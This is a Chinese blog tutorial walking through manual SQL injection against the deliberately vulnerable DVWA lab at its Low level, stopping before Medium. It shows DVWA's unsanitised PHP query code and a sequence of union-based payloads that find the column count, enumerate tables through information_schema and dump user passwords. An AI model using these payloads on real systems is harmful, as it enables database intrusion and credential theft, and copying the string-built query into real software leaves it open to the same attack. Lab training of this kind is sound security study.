DVWA-SQL注入

1 SQL注入简介

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

程序命令没能对用户输入的内容能作出正确的处理,导致执行非预期命令或访问数据。或者说产生注入的原因是接受相关参数未经正确处理直接带入数据库进行查询操作。发起注入攻击需要存在可控参数(数据)提交方式的确认和SQL命令相关点。

2 手工注入思路

1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表名
6.获取表中的字段名
7.下载数据

下面对四种级别的代码进行分析。

3 Low级别

  • 查看服务器端源代码:
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

可以看到,Low级别的代码对来自客户端的参数id没有进行任何的检查与过滤,存在明显的SQL注入。

3.1 判断是否存在注入,注入是字符型还是数字型

  • SQL语句可以用#和-- 来进行注释(注意-- 后必须有空格)。

  • 在输入框中直接提交时,可以在输入末尾加#来注释后面的内容。但是不能用-- ,因为-- 后不能输入空格。

  • 用hack bar进行调试时,可以在输入末尾加-- 来注释后面的内容。但是不能用#,因为#会注释掉URL后面的submit。

  • 下面我们均用hack bar进行测试

    hack bar中输入|http://192.168.124.6/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#|,查询成功:

    下面我们仅阐述’?‘和’&'之间id内容的变化。

    输入id=1’ and 1=2 --,查询失败:

    输入id=1’ and 1=1 --(-- 可以注释掉SQL语句后面的单引号),查询成功:

    说明存在SQL注入,且注入类型位字符型注入。

3.2 猜解SQL查询语句中的字段数

输入id=1′ or 1=1 order by 1 --,查询成功。

输入id=1′ or 1=1 order by 2 --,查询成功:

输入id=1′ or 1=1 order by 3 --,查询失败:

说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。(这里也可以通过输入union select 1,2,3…来猜解字段数)

3.3 确定显示的字段顺序

输入id=1’ union select 1,2 --,查询成功:

说明执行的SQL语句为select First name,Surname from TABLE where ID=’id’…

3.4 获取当前数据库

输入id=1’ union select 1,database() --,查询成功:

说明当前的数据库为dvwa。

3.5 获取数据库中的表名

information_schema 看作是一个信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
对表的meta data的查询需要使用information_schema.tables;对列的meta data的查询需要使用information_schema.columns;
table_schema是数据库的名称,table_name是具体的表名,table_type指的是表的类型;column_name是列名

输入id=1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --,查询成功:

dvwa数据库中有两个表:guestbook和users。

3.6 获取表中的字段名

输入id=1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ --,查询成功:

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

3.7 下载数据

输入id=1’ union select group_concat(user_id,first_name,last_name),group_concat(password) from users --,查询成功:

这样就得到了users表中所有用户的user_id,first_name,last_name,password的数据。

4 Medium级别

Medium不知为何运行不了了,后续再更吧。

文章作者: Alston
文章链接: https://lizitong67.github.io/2020/02/21/DVWA-SQL%E6%B3%A8%E5%85%A5/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alston's blog